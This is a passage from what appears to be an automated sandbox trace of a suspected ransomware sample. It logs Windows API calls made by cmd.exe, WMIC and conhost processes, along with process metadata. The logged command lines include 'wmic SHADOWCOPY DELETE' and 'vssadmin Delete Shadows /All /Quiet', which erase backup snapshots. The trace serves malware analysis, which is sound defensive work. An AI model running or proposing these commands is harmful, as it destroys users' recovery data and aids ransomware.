| out: lpFindFileData=0xbfee58) returned 0xffffffff [0264.680] GetLastError () returned 0x2 [0264.680] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.681] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xbfee58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbfee58) returned 0xffffffff [0264.681] GetLastError () returned 0x2 [0264.681] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.681] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xbfee58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbfee58) returned 0xffffffff [0264.681] GetLastError () returned 0x2 [0264.681] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.681] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xbfee58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbfee58) returned 0xffffffff [0264.682] GetLastError () returned 0x2 [0264.682] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0264.682] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0xbfee58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbfee58) returned 0x3027ee0 [0264.683] GetProcessHeap () returned 0x3020000 [0264.683] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x0, Size=0x14) returned 0x3027f20 [0264.685] FindClose (in: hFindFile=0x3027ee0 | out: hFindFile=0x3027ee0) returned 1 [0264.686] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\WMIC.COM", fInfoLevelId=0x1, lpFindFileData=0xbfee58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbfee58) returned 0xffffffff [0264.688] GetLastError () returned 0x2 [0264.688] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\WMIC.EXE", fInfoLevelId=0x1, lpFindFileData=0xbfee58, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbfee58) returned 0x3027ee0 [0264.689] GetProcessHeap () returned 0x3020000 [0264.689] RtlReAllocateHeap (Heap=0x3020000, Flags=0x0, Ptr=0x3027f20, Size=0x4) returned 0x3027f20 [0264.689] FindClose (in: hFindFile=0x3027ee0 | out: hFindFile=0x3027ee0) returned 1 [0264.690] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0264.690] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0264.690] ??_V@YAXPAX@Z () returned 0x1 [0264.690] GetConsoleTitleW (in: lpConsoleTitle=0xbff35c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1c [0264.849] InitializeProcThreadAttributeList (in: lpAttributeList=0xbff288, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xbff274 | out: lpAttributeList=0xbff288, lpSize=0xbff274) returned 1 [0264.849] UpdateProcThreadAttribute (in: lpAttributeList=0xbff288, dwFlags=0x0, Attribute=0x60001, lpValue=0xbff270, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xbff288, lpPreviousValue=0x0) returned 1 [0264.849] GetStartupInfoW (in: lpStartupInfo=0xbff2c0 | out: lpStartupInfo=0xbff2c0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0264.849] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0264.850] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0264.850] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0264.850] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0264.850] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0264.850] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0264.850] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0264.850] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0264.850] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0264.850] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0264.850] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0264.850] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0264.850] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0264.850] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0264.850] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0264.850] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0264.850] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0264.850] GetProcessHeap () returned 0x3020000 [0264.850] RtlFreeHeap (HeapHandle=0x3020000, Flags=0x0, BaseAddress=0x3027ee0) returned 1 [0264.850] GetProcessHeap () returned 0x3020000 [0264.850] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0xa) returned 0x3027ee0 [0264.850] lstrcmpW (lpString1="\\WMIC.exe", lpString2="\\XCOPY.EXE") returned -1 [0264.851] _get_osfhandle (_FileHandle=1) returned 0x90 [0264.851] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1 [0264.998] _get_osfhandle (_FileHandle=0) returned 0x8c [0264.998] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1f7) returned 1 [0265.331] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\System32\\Wbem\\WMIC.exe", lpCommandLine="wmic SHADOWCOPY DELETE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xbff210*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wmic SHADOWCOPY DELETE", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xbff25c | out: lpCommandLine="wmic SHADOWCOPY DELETE", lpProcessInformation=0xbff25c*(hProcess=0xe0, hThread=0xdc, dwProcessId=0xdb4, dwThreadId=0xd80)) returned 1 [0265.861] CloseHandle (hObject=0xdc) returned 1 [0265.861] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0265.861] GetProcessHeap () returned 0x3020000 [0265.861] RtlFreeHeap (HeapHandle=0x3020000, Flags=0x0, BaseAddress=0x3026c18) returned 1 [0265.861] GetEnvironmentStringsW () returned 0x3026c18* [0265.861] GetProcessHeap () returned 0x3020000 [0265.861] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0xb1a) returned 0x3024b90 [0265.861] FreeEnvironmentStringsA (penv="=") returned 1 [0265.861] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0286.102] GetExitCodeProcess (in: hProcess=0xe0, lpExitCode=0xbff1f4 | out: lpExitCode=0xbff1f4*=0x40010004) returned 1 [0286.103] CloseHandle (hObject=0xe0) returned 1 [0286.103] _vsnwprintf (in: _Buffer=0xbff2dc, _BufferCount=0x13, _Format="%08X", _ArgList=0xbff1fc | out: _Buffer="40010004") returned 8 [0286.103] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="40010004") returned 1 [0286.104] GetProcessHeap () returned 0x3020000 [0286.104] RtlFreeHeap (HeapHandle=0x3020000, Flags=0x0, BaseAddress=0x3024b90) returned 1 [0286.104] GetEnvironmentStringsW () returned 0x3028190* [0286.104] GetProcessHeap () returned 0x3020000 [0286.104] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0xb40) returned 0x3024b90 [0286.105] FreeEnvironmentStringsA (penv="=") returned 1 [0286.105] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0286.105] GetProcessHeap () returned 0x3020000 [0286.105] RtlFreeHeap (HeapHandle=0x3020000, Flags=0x0, BaseAddress=0x3024b90) returned 1 [0286.105] GetEnvironmentStringsW () returned 0x3028190* [0286.105] GetProcessHeap () returned 0x3020000 [0286.105] RtlAllocateHeap (HeapHandle=0x3020000, Flags=0x8, Size=0xb40) returned 0x3024b90 [0286.105] FreeEnvironmentStringsA (penv="=") returned 1 [0286.105] GetProcessHeap () returned 0x3020000 [0286.105] RtlFreeHeap (HeapHandle=0x3020000, Flags=0x0, BaseAddress=0x3027ee0) returned 1 [0286.105] DeleteProcThreadAttributeList (in: lpAttributeList=0xbff288 | out: lpAttributeList=0xbff288) [0286.105] ??_V@YAXPAX@Z () returned 0x1 [0286.105] _get_osfhandle (_FileHandle=1) returned 0x90 [0286.105] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x3) returned 1 [0286.182] _get_osfhandle (_FileHandle=1) returned 0x90 [0286.182] GetConsoleMode (hConsoleHandle=0x90, lpMode=0xc33890) Thread: id = 126 os_tid = 0xfd0 Thread: id = 249 os_tid = 0x9e4 [0286.222] ??_V@YAXPAX@Z () returned 0x1 Process: id = "14" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x1f682000" os_pid = "0xd78" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0xfb0" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 95 os_tid = 0x904 Thread: id = 98 os_tid = 0x4a8 Thread: id = 103 os_tid = 0xe80 Thread: id = 114 os_tid = 0x46c Thread: id = 117 os_tid = 0x4bc Process: id = "15" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x3485f000" os_pid = "0xf28" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0xec8" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /c vssadmin Delete Shadows /All /Quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 99 os_tid = 0xe90 [0262.480] GetModuleHandleA (lpModuleName=0x0) returned 0xc00000 [0262.482] __set_app_type (_Type=0x1) [0262.482] __p__fmode () returned 0x77ae3c14 [0262.482] __p__commode () returned 0x77ae49ec [0262.482] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xc16fd0) returned 0x0 [0262.483] __getmainargs (in: _Argc=0xc2d1a4, _Argv=0xc2d1a8, _Env=0xc2d1ac, _DoWildCard=0, _StartInfo=0xc2d1b8 | out: _Argc=0xc2d1a4, _Argv=0xc2d1a8, _Env=0xc2d1ac) returned 0 [0262.483] _onexit (_Func=0xc18030) returned 0xc18030 [0262.483] _onexit (_Func=0xc18040) returned 0xc18040 [0262.483] _onexit (_Func=0xc18050) returned 0xc18050 [0262.483] _onexit (_Func=0xc18060) returned 0xc18060 [0262.483] _onexit (_Func=0xc18070) returned 0xc18070 [0262.484] _onexit (_Func=0xc18080) returned 0xc18080 [0262.484] GetCurrentThreadId () returned 0xe90 [0262.484] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xe90) returned 0xbc [0262.484] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0262.484] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadUILanguage") returned 0x75ea4f70 [0262.484] SetThreadUILanguage (LangId=0x0) returned 0x330409 [0262.780] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0262.780] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x4ffc48 | out: phkResult=0x4ffc48*=0x0) returned 0x2 [0262.780] VirtualQuery (in: lpAddress=0x4ffc53, lpBuffer=0x4ffc00, dwLength=0x1c | out: lpBuffer=0x4ffc00*(BaseAddress=0x4ff000, AllocationBase=0x400000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0262.780] VirtualQuery (in: lpAddress=0x400000, lpBuffer=0x4ffc00, dwLength=0x1c | out: lpBuffer=0x4ffc00*(BaseAddress=0x400000, AllocationBase=0x400000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0262.780] VirtualQuery (in: lpAddress=0x401000, lpBuffer=0x4ffc00, dwLength=0x1c | out: lpBuffer=0x4ffc00*(BaseAddress=0x401000, AllocationBase=0x400000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0262.781] VirtualQuery (in: lpAddress=0x403000, lpBuffer=0x4ffc00, dwLength=0x1c | out: lpBuffer=0x4ffc00*(BaseAddress=0x403000, AllocationBase=0x400000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0262.781] VirtualQuery (in: lpAddress=0x500000, lpBuffer=0x4ffc00, dwLength=0x1c | out: lpBuffer=0x4ffc00*(BaseAddress=0x500000, AllocationBase=0x500000, AllocationProtect=0x2, RegionSize=0xc5000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0262.781] GetConsoleOutputCP () returned 0x1b5 [0262.972] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xc33850 | out: lpCPInfo=0xc33850) returned 1 [0262.972] SetConsoleCtrlHandler (HandlerRoutine=0xc27260, Add=1) returned 1 [0262.972] _get_osfhandle (_FileHandle=1) returned 0x90 [0262.972] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc3388c | out: lpMode=0xc3388c) returned 1 [0263.252] _get_osfhandle (_FileHandle=0) returned 0x8c [0263.252] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33888 | out: lpMode=0xc33888) returned 1 [0263.422] _get_osfhandle (_FileHandle=1) returned 0x90 [0263.422] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1 [0263.590] _get_osfhandle (_FileHandle=1) returned 0x90 [0263.590] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0xc33890 | out: lpMode=0xc33890) returned 1 [0263.796] _get_osfhandle (_FileHandle=1) returned 0x90 [0263.796] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0263.977] _get_osfhandle (_FileHandle=0) returned 0x8c [0263.977] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0xc33894 | out: lpMode=0xc33894) returned 1 [0264.113] _get_osfhandle (_FileHandle=0) returned 0x8c [0264.113] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0264.248] GetEnvironmentStringsW () returned 0x5d4bc0* [0264.248] GetProcessHeap () returned 0x5d0000 [0264.248] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xaca) returned 0x5d5698 [0264.248] FreeEnvironmentStringsA (penv="A") returned 1 [0264.248] GetProcessHeap () returned 0x5d0000 [0264.248] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4) returned 0x5d46a0 [0264.248] GetEnvironmentStringsW () returned 0x5d4bc0* [0264.248] GetProcessHeap () returned 0x5d0000 [0264.248] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xaca) returned 0x5d6170 [0264.248] FreeEnvironmentStringsA (penv="A") returned 1 [0264.248] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x4feba4 | out: phkResult=0x4feba4*=0xcc) returned 0x0 [0264.249] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x4febac, lpData=0x4febb0, lpcbData=0x4feba8*=0x1000 | out: lpType=0x4febac*=0x0, lpData=0x4febb0*=0xc0, lpcbData=0x4feba8*=0x1000) returned 0x2 [0264.249] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x4febac, lpData=0x4febb0, lpcbData=0x4feba8*=0x1000 | out: lpType=0x4febac*=0x4, lpData=0x4febb0*=0x1, lpcbData=0x4feba8*=0x4) returned 0x0 [0264.249] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x4febac, lpData=0x4febb0, lpcbData=0x4feba8*=0x1000 | out: lpType=0x4febac*=0x0, lpData=0x4febb0*=0x1, lpcbData=0x4feba8*=0x1000) returned 0x2 [0264.249] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x4febac, lpData=0x4febb0, lpcbData=0x4feba8*=0x1000 | out: lpType=0x4febac*=0x4, lpData=0x4febb0*=0x0, lpcbData=0x4feba8*=0x4) returned 0x0 [0264.249] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x4febac, lpData=0x4febb0, lpcbData=0x4feba8*=0x1000 | out: lpType=0x4febac*=0x4, lpData=0x4febb0*=0x40, lpcbData=0x4feba8*=0x4) returned 0x0 [0264.249] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x4febac, lpData=0x4febb0, lpcbData=0x4feba8*=0x1000 | out: lpType=0x4febac*=0x4, lpData=0x4febb0*=0x40, lpcbData=0x4feba8*=0x4) returned 0x0 [0264.249] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x4febac, lpData=0x4febb0, lpcbData=0x4feba8*=0x1000 | out: lpType=0x4febac*=0x0, lpData=0x4febb0*=0x40, lpcbData=0x4feba8*=0x1000) returned 0x2 [0264.249] RegCloseKey (hKey=0xcc) returned 0x0 [0264.249] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x4feba4 | out: phkResult=0x4feba4*=0xcc) returned 0x0 [0264.249] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x4febac, lpData=0x4febb0, lpcbData=0x4feba8*=0x1000 | out: lpType=0x4febac*=0x0, lpData=0x4febb0*=0x40, lpcbData=0x4feba8*=0x1000) returned 0x2 [0264.249] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x4febac, lpData=0x4febb0, lpcbData=0x4feba8*=0x1000 | out: lpType=0x4febac*=0x4, lpData=0x4febb0*=0x1, lpcbData=0x4feba8*=0x4) returned 0x0 [0264.249] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x4febac, lpData=0x4febb0, lpcbData=0x4feba8*=0x1000 | out: lpType=0x4febac*=0x0, lpData=0x4febb0*=0x1, lpcbData=0x4feba8*=0x1000) returned 0x2 [0264.249] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x4febac, lpData=0x4febb0, lpcbData=0x4feba8*=0x1000 | out: lpType=0x4febac*=0x4, lpData=0x4febb0*=0x0, lpcbData=0x4feba8*=0x4) returned 0x0 [0264.249] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x4febac, lpData=0x4febb0, lpcbData=0x4feba8*=0x1000 | out: lpType=0x4febac*=0x4, lpData=0x4febb0*=0x9, lpcbData=0x4feba8*=0x4) returned 0x0 [0264.249] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x4febac, lpData=0x4febb0, lpcbData=0x4feba8*=0x1000 | out: lpType=0x4febac*=0x4, lpData=0x4febb0*=0x9, lpcbData=0x4feba8*=0x4) returned 0x0 [0264.249] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x4febac, lpData=0x4febb0, lpcbData=0x4feba8*=0x1000 | out: lpType=0x4febac*=0x0, lpData=0x4febb0*=0x9, lpcbData=0x4feba8*=0x1000) returned 0x2 [0264.249] RegCloseKey (hKey=0xcc) returned 0x0 [0264.249] time (in: timer=0x0 | out: timer=0x0) returned 0x5cb057f1 [0264.250] srand (_Seed=0x5cb057f1) [0264.250] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c vssadmin Delete Shadows /All /Quiet" [0264.250] malloc (_Size=0x4000) returned 0x9521f0 [0264.250] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /c vssadmin Delete Shadows /All /Quiet" [0264.250] malloc (_Size=0xffce) returned 0x7d0048 [0264.251] ??_V@YAXPAX@Z () returned 0x4ffb88 [0264.251] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x7d0048 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0264.251] malloc (_Size=0xffce) returned 0x7e0020 [0264.252] ??_V@YAXPAX@Z () returned 0x4ff95c [0264.252] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7e0020, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0264.252] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0264.252] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0264.252] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0264.252] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0264.252] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0264.252] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0264.252] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0264.252] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0264.253] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0264.253] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0264.253] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0264.253] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0264.253] GetProcessHeap () returned 0x5d0000 [0264.253] RtlFreeHeap (HeapHandle=0x5d0000, Flags=0x0, BaseAddress=0x5d5698) returned 1 [0264.253] GetEnvironmentStringsW () returned 0x5d4bc0* [0264.253] GetProcessHeap () returned 0x5d0000 [0264.253] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xae2) returned 0x5d7738 [0264.253] FreeEnvironmentStringsA (penv="A") returned 1 [0264.253] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0264.253] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0xc2f840, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0264.253] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0264.253] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0264.253] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0264.253] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0264.253] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0264.253] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0264.254] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0264.254] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0264.254] malloc (_Size=0xffce) returned 0x7efff8 [0264.254] ??_V@YAXPAX@Z () returned 0x4ff6f4 [0264.254] GetProcessHeap () returned 0x5d0000 [0264.254] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x38) returned 0x5d0ae0 [0264.254] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x7efff8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0264.255] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x7efff8, lpFilePart=0x4ff740 | out: 